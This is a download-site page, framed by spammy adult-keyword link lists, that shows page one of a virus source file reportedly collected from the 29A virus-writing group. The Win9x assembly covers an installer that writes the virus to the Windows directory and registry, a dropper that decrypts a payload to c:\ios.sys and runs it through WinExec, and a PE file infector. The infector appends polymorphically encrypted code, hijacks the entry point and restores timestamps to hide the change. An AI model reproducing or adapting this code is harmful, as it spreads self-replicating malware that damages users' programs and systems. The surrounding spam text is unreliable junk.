亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.008

?? 從29A上收集的病毒源碼
?? 008
?? 第 1 頁 / 共 5 頁
字號:
        mov     bh,byte [edi+ebx]
        mov     byte [edx+esi],bh
        inc     esi
        inc     eax

        inc     ebp
        cmp     ebp,24
        ja      addEndOfLine
        inc     ebp

addedEndOfLine:
        sub     ecx,3
        or      ecx,ecx
        jnz     baseLoop

        mov     ecx,esi
        add     edx,esi
        pop     ebp
        ret

addEndOfLine:
        xor     ebp,ebp
        mov     word [edx+esi],0a0dh
        add     esi,2
        jmp     addedEndOfLine

; - auxf.inc EOF -
; - install.inc BOF -

[extern GetWindowsDirectoryA]
[extern lstrcat]
[extern RegOpenKeyExA]
[extern RegQueryValueExA]
[extern RegSetValueExA]
[extern RegCloseKey]
[extern CreateFileA]
[extern WriteFile]
[extern CloseHandle]
[extern GetVolumeInformationA]

install:
        push    ebp
        mov     ebp,esp
        sub     esp,260
        push    ebp
        sub     ebp,260

        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    eax
        push    dword regName
        push    eax
        push    eax
        push    dword drive
        call    GetVolumeInformationA
        or      eax,eax
        jz      near installKO

        and     dword [regName],0f0f0f0fh
        or      dword [regName],"abcd"

        push    dword 20h
        call    rnd
        or      eax,eax
        jz      near installOK

        push    dword hkey
        push    dword KEY_ALL_ACCESS
        push    dword 0
        push    dword regKey
        push    dword HKEY_LOCAL_MACHINE
        call    RegOpenKeyExA
        or      eax,eax
        jnz     near installKO

        push    eax
        push    eax
        push    dword localtime
        push    eax
        push    dword regName
        push    dword [hkey]
        call    RegQueryValueExA
        or      eax,eax
        jz      near installKO

        push    dword 260
        push    ebp
        call    GetWindowsDirectoryA
        or      eax,eax
        jz      near installKO

        push    dword iname
        push    ebp
        call    lstrcat

        push    dword 0
        push    dword 3
        push    dword 2
        push    dword 0
        push    dword 0
        push    dword 40000000h
        push    ebp
        call    CreateFileA
        inc     eax
        jz      installKO
        dec     eax

        push    eax
        push    dword 0
        push    dword localtime
        push    dword [vsize]
        push    dword [memory]
        push    eax
        call    WriteFile

        call    CloseHandle

        push    dword 260
        push    ebp
        push    dword REG_SZ
        push    dword 0
        push    dword regName
        push    dword [hkey]
        call    RegSetValueExA

        push    dword [hkey]
        call    RegCloseKey

installOK:
        clc
        mov     al,0f9h
installKO       equ $-1
        pop     ebp
        leave
        ret

; - install.inc EOF -
; - dropit.inc BOF -

KERNEL32        equ     0bff70000h

dropBegin:
        push    dword 12345678h
hostEP  equ     $-4
        pushad

        cmp     byte [esp+27h],0bfh
        jne     near notWin9x

        call    k32Tip
        mov     eax,dword [eax+edi]
        add     eax,edi

        mov     ebp,eax

        call    decryptIt

        call    dropIt

        call    execIt
notWin9x:
        popad
        ret

dropIt:
        mov     ecx,3
        mov     ah,byte 3ch
        call    getDelta
        add     edx,file2drop
        call    int21h
        jnc     openok
        ret
openok:
        xchg    eax,ebx

        mov     ah,40h
        mov     ecx,12345678h
dropSize        equ $-4
        call    getDelta
        add     edx,data2drop
        call    int21h

        mov     ah,3eh
        call    int21h
        ret

execIt:
        call    getDelta
        mov     ebp,edx
        call    k32Tip
        add     eax,edi
        mov     dword [address+ebp],eax
        lodsd
        add     eax,edi
        mov     dword [names+ebp],eax
        lodsd
        add     eax,edi
        mov     dword [ordinals+ebp],eax

        xor     edx,edx
        lea     esi,[winexecsz+ebp]
        mov     ecx,winexeclen
searchl:
        push    ecx
        push    esi
        mov     edi,dword [names+ebp]
        add     edi,edx
        mov     edi,dword [edi]
        add     edi,KERNEL32
        rep     cmpsb
        je      fFound
        add     edx,4
        pop     esi
        pop     ecx
        jmp     searchl
fFound:
        pop     esi
        pop     ecx
        shr     edx,1
        add     edx,dword [ordinals+ebp]
        movzx   ebx,word [edx]
        shl     ebx,2
        add     ebx,dword [address+ebp]
        mov     ecx,dword [ebx]
        add     ecx,KERNEL32

        push    dword 0
        lea     esi,[file2drop+ebp]
        push    esi
        call    ecx
        ret

getDelta:
        call    delta
delta:
        pop     edx
        sub     edx,dword delta
        ret
int21h:
        push    ecx
        push    eax
        push    dword 002a0010h
        call    ebp
        ret

decryptIt:
        call    getDelta
        mov     ecx,[dropSize+edx]
        add     edx,data2drop
        xor     eax,eax
        mov     al,0ffh
cKey    equ     $-1
decryptItLoop:
        xor     byte [edx],al
        not     byte [edx]
        inc     edx
        inc     ax
        loop    decryptItLoop
        ret

k32Tip:
        mov     edi,KERNEL32
        mov     esi,KERNEL32+3ch
        lodsd
        add     eax,edi
        xchg    eax,esi
        mov     esi,dword [esi+78h]
        add     esi,dword 1ch+KERNEL32
        lodsd
        ret

winexecsz       db      "WinExec"
winexeclen      equ     $-winexecsz
address         dd      0
names           dd      0
ordinals        dd      0
file2drop       db      'c:\ios.sys',0
dropperSize     equ $-dropBegin
data2drop:

; - dropit.inc EOF -

; - infectpe.inc BOF -

[extern CreateFileA]
[extern CloseHandle]
[extern GetFileAttributesA]
[extern SetFileAttributesA]
[extern GetFileSize]
[extern GetFileTime]
[extern SetFileTime]
[extern CreateFileMappingA]
[extern MapViewOfFile]
[extern UnmapViewOfFile]

PADDING equ     101

infectpe:
        push    esi

        push    esi
        call    GetFileAttributesA
        pop     esi
        inc     eax
        jz      near infectionError
        dec     eax

        mov     dword [fileAttrib],eax

        push    esi
        push    dword 80h
        push    esi
        call    SetFileAttributesA
        pop     esi
        or      eax,eax
        jz      near infectionError

        push    esi

        push    dword 0
        push    dword 80h
        push    dword 3
        push    dword 0
        push    dword 0
        push    dword (80000000h | 40000000h)
        push    esi
        call    CreateFileA
        inc     eax
        jz      near infectionErrorAttrib
        dec     eax

        mov     [fHnd],eax

        push    dword 0
        push    eax
        call    GetFileSize
        inc     eax
        jz      near infectionErrorClose
        dec     eax

        mov     [fileSize],eax

        push    dword fileTime2
        push    dword fileTime1
        push    dword fileTime0
        push    dword [fHnd]
        call    GetFileTime
        or      eax,eax
        jz      near infectionErrorClose

        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    dword 4
        push    eax
        push    dword [fHnd]
        call    CreateFileMappingA
        or      eax,eax
        jz      near infectionErrorClose

        mov     dword [fhmap],eax

        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    dword 6
        push    dword [fhmap]
        call    MapViewOfFile
        or      eax,eax
        jz      near infectionErrorCloseMap

        mov     [mapMem],eax

        mov     edi,eax
        cmp     word [edi],'MZ'
        jne     near infectionErrorCloseUnmap

        add     edi,[edi+3ch]
        cmp     eax,edi
        jae     near infectionErrorCloseUnmap
        add     eax,[fileSize]
        cmp     eax,edi
        jbe     near infectionErrorCloseUnmap
        cmp     word [edi],'PE'
        jne     near infectionErrorCloseUnmap

        movzx   edx,word [edi+16h]
        test    edx,2h
        jz      near infectionErrorCloseUnmap
        and     edx,2000h
        jnz     near infectionErrorCloseUnmap
        mov     dx,[edi+5ch]
        dec     edx
        jz      near infectionErrorCloseUnmap

        cmp     word [edi+1ch],0
        je      near infectionErrorCloseUnmap

        mov     esi,edi
        mov     eax,18h
        add     ax,[edi+14h]
        add     edi,eax

        mov     cx,[esi+06h]
        dec     cx
        mov     eax,28h
        mul     cx
        add     edi,eax

        mov     ecx,[edi+14h]
        add     ecx,[edi+10h]

        cmp     ecx,[fileSize]
        jne     near infectionErrorCloseUnmap

        mov     eax,[edi+0ch]
        add     eax,[edi+10h]
        mov     [crptBegin],eax
        xchg    eax,[esi+28h]
        mov     ecx,[esi+34h]
        add     [crptBegin],ecx
        add     dword [crptBegin],5
        add     eax,ecx
        mov     [hostEP],eax

        pushad
        mov     edi,[poly]
        mov     al,0e8h
        stosb
        xor     eax,eax
        add     eax,dropperSize
        add     eax,[vsize]
        stosd
        lea     esi,[dropBegin]
        mov     ecx,dropperSize
        rep     movsb

        mov     esi,[memory]
        mov     ecx,[vsize]
        rep     movsb

        mov     esi,[crptBegin]
        call    genPolyData
        mov     [polySize],ecx
        popad

        xor     eax,eax
        mov     [esi+58h],eax

        or      dword [edi+24h],0c0000000h

        mov     eax,dropperSize+5
        add     eax,[vsize]
        add     eax,[polySize]
        push    eax
        add     eax,[edi+10h]
        mov     ecx,[esi+3ch]
        xor     edx,edx
        div     ecx
        inc     eax
        mul     ecx
        mov     [edi+10h],eax

        add     eax,[edi+0ch]
        mov     ecx,[esi+38h]
        xor     edx,edx
        div     ecx
        inc     eax
        mul     ecx
        mov     [esi+50h],eax
        sub     eax,[edi+0ch]
        mov     [edi+08h],eax

        pop     eax
        add     eax,[fileSize]
        mov     ecx,PADDING
        xor     edx,edx
        div     ecx
        inc     eax
        mul     ecx
        mov     [padding],eax

        push    dword [mapMem]
        call    UnmapViewOfFile

        push    dword [fhmap]
        call    CloseHandle

        xor     eax,eax
        push    eax
        push    dword [padding]
        push    eax
        push    dword 4
        push    eax
        push    dword [fHnd]
        call    CreateFileMappingA
        or      eax,eax
        jz      infectionErrorClose

        mov     [fhmap],eax

        xor     eax,eax
        push    dword [padding]
        push    eax
        push    eax
        push    dword 6
        push    dword [fhmap]
        call    MapViewOfFile
        or      eax,eax
        jz      infectionErrorCloseMap

        mov     [mapMem],eax

        mov     ecx,dropperSize+5
        add     ecx,[vsize]
        add     ecx,[polySize]
        mov     esi,[poly]
        mov     edi,eax
        add     edi,dword [fileSize]
        rep     movsb

infectionErrorCloseUnmap:
        push    dword [mapMem]
        call    UnmapViewOfFile

infectionErrorCloseMap:
        push    dword [fhmap]
        call    CloseHandle

        push    dword fileTime2
        push    dword fileTime1
        push    dword fileTime0
        push    dword [fHnd]
        call    SetFileTime

infectionErrorClose:
        push    dword [fHnd]
        call    CloseHandle

infectionErrorAttrib:
        pop     esi
        push    dword [fileAttrib]
        push    esi
        call    SetFileAttributesA

infectionError:
        ret

genPolyData:
        push    dword MAXLAYER/2
        call    rnd
        add     eax,MAXLAYER/2

        mov     [lCnt],eax
        mov     ecx,eax

        push    edi
genPolyDataL:
        push    esi
        push    ecx
        push    edi
        mov     ecx,dropperSize
        add     ecx,[vsize]
        call    brepoge
        pop     edi
        add     edi,ecx

        pop     ecx

        mov     eax,[vKey]
        mov     [kStack-4+ecx*4],eax
        mov     eax,[mKey]
        mov     [mStack-4+ecx*4],eax

        pop     esi

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
老司机免费视频一区二区| 日本一区二区动态图| 色综合久久66| 成人三级伦理片| 国产麻豆精品在线观看| 香蕉影视欧美成人| 亚洲成精国产精品女| 亚洲第一福利视频在线| 亚洲国产美女搞黄色| 亚洲成人动漫在线免费观看| 亚洲v中文字幕| 日韩精品成人一区二区三区| 视频一区在线视频| 精品一区二区在线视频| 国产自产2019最新不卡| 国产成人免费在线观看不卡| 国产成人免费视| 97精品电影院| 欧美日韩国产综合一区二区三区| 欧美高清视频不卡网| 日韩精品一区二区在线| 国产喂奶挤奶一区二区三区| 国产精品毛片久久久久久久| 成人免费一区二区三区视频| 亚洲一区在线看| 开心九九激情九九欧美日韩精美视频电影| 免费高清视频精品| 成人国产视频在线观看| 欧美午夜片在线观看| 日韩欧美亚洲另类制服综合在线| 国产欧美一区二区精品秋霞影院 | 色婷婷av一区二区三区大白胸| 99re这里只有精品视频首页| 欧美片在线播放| 国产日韩欧美a| 亚洲午夜电影在线观看| 国产乱色国产精品免费视频| 91极品美女在线| 亚洲精品在线观| 亚洲美女偷拍久久| 精品综合久久久久久8888| 91老师片黄在线观看| 日韩精品综合一本久道在线视频| 国产精品国产a| 美国av一区二区| 色婷婷香蕉在线一区二区| 欧美成人福利视频| 亚洲一线二线三线视频| 国产成人啪免费观看软件| 欧美色综合影院| 中文在线一区二区| 久久精品999| 欧洲av在线精品| 国产精品久久久久婷婷二区次| 日本欧美在线看| 一本色道久久综合亚洲精品按摩| 久久婷婷成人综合色| 午夜私人影院久久久久| 91亚洲国产成人精品一区二区三| 久久尤物电影视频在线观看| 亚洲123区在线观看| 91视频免费观看| 中文字幕免费观看一区| 久久成人av少妇免费| 欧美三级韩国三级日本三斤| 亚洲欧洲精品一区二区三区| 国产一区二区视频在线播放| 日韩欧美的一区| 日韩黄色在线观看| 欧美精品久久久久久久久老牛影院 | 97国产一区二区| 中文字幕av资源一区| 国产精品一区二区男女羞羞无遮挡| 5566中文字幕一区二区电影| 亚洲国产你懂的| 欧美日韩一区三区| 亚洲福利视频一区二区| 在线观看精品一区| 一级女性全黄久久生活片免费| 成人av动漫在线| 日韩美女精品在线| 在线免费一区三区| 性做久久久久久免费观看| 欧美日韩一二区| 日韩在线一二三区| 欧美一区二区三区免费视频| 人妖欧美一区二区| 亚洲精品在线免费观看视频| 狠狠色伊人亚洲综合成人| 久久精品视频免费| 成人精品电影在线观看| 成人免费一区二区三区视频 | 9色porny自拍视频一区二区| 日韩理论电影院| 91极品视觉盛宴| 美女视频黄免费的久久 | 国产999精品久久久久久| 国产欧美日韩精品在线| a级高清视频欧美日韩| 综合久久久久久久| 欧美一区二区在线播放| 国产综合色在线| 亚洲精品ww久久久久久p站| 欧美二区三区的天堂| 精品在线一区二区| 欧美激情一区二区三区不卡| 91精品91久久久中77777| 日本三级韩国三级欧美三级| 国产色综合一区| 欧美三级欧美一级| 国产suv精品一区二区6| 亚洲福利一区二区三区| 久久久久9999亚洲精品| 欧美色电影在线| 国产精品99久久久久| 香蕉成人啪国产精品视频综合网| 精品国产乱码久久久久久1区2区| 99久精品国产| 国内精品久久久久影院薰衣草 | 91精品免费在线观看| 国产福利91精品一区| 亚洲国产精品久久久久秋霞影院 | 成人美女在线观看| 日韩电影在线一区二区三区| 中文天堂在线一区| 欧美一区二区三区四区久久| bt7086福利一区国产| 国产又黄又大久久| 亚洲成a人片综合在线| 中文字幕日韩一区| 久久综合九色综合97_久久久 | 久久久国产精品午夜一区ai换脸| 欧美在线一二三四区| 国产91在线观看丝袜| 经典三级一区二区| 日本欧美加勒比视频| 亚洲资源在线观看| 国产精品欧美综合在线| 久久婷婷成人综合色| 欧美一级理论片| 欧美亚洲一区二区三区四区| av电影在线观看完整版一区二区| 国内成人免费视频| 韩国v欧美v日本v亚洲v| 久久草av在线| 精品在线播放午夜| 美女一区二区视频| 奇米影视一区二区三区小说| 五月天激情综合| 午夜视频久久久久久| 亚洲第一福利视频在线| 中文字幕佐山爱一区二区免费| 欧美国产激情二区三区 | 欧美亚洲日本国产| 91黄视频在线| 色妹子一区二区| 色先锋aa成人| 欧日韩精品视频| 欧美性受极品xxxx喷水| 在线观看视频91| 欧美日韩一区二区电影| 欧美丰满美乳xxx高潮www| 欧美美女直播网站| 欧美男女性生活在线直播观看| 欧美伊人久久大香线蕉综合69 | 91免费小视频| 色狠狠色噜噜噜综合网| 欧美日韩国产首页在线观看| 欧美日本一区二区三区四区| 欧美精品丝袜久久久中文字幕| 欧美精品视频www在线观看| 欧美一级生活片| 久久夜色精品国产噜噜av| 久久欧美一区二区| 中文字幕一区二区三中文字幕| 亚洲欧美电影院| 久久精品久久99精品久久| 国产综合色精品一区二区三区| 成人精品在线视频观看| 色屁屁一区二区| 欧美一区二区三区在线看| 国产清纯美女被跳蛋高潮一区二区久久w | 久久国产生活片100| 国产suv精品一区二区6| 91成人看片片| 精品国产免费人成电影在线观看四季| 国产午夜精品在线观看| 亚洲黄色性网站| 国内一区二区在线| 欧美性xxxxxx少妇| 国产天堂亚洲国产碰碰| 一区二区三区精品视频在线| 美女免费视频一区二区| 成人动漫一区二区在线| 制服丝袜一区二区三区| 中文字幕一区二区三| 美女视频一区二区三区| 色老综合老女人久久久| 国产欧美一区二区三区网站| 五月综合激情网|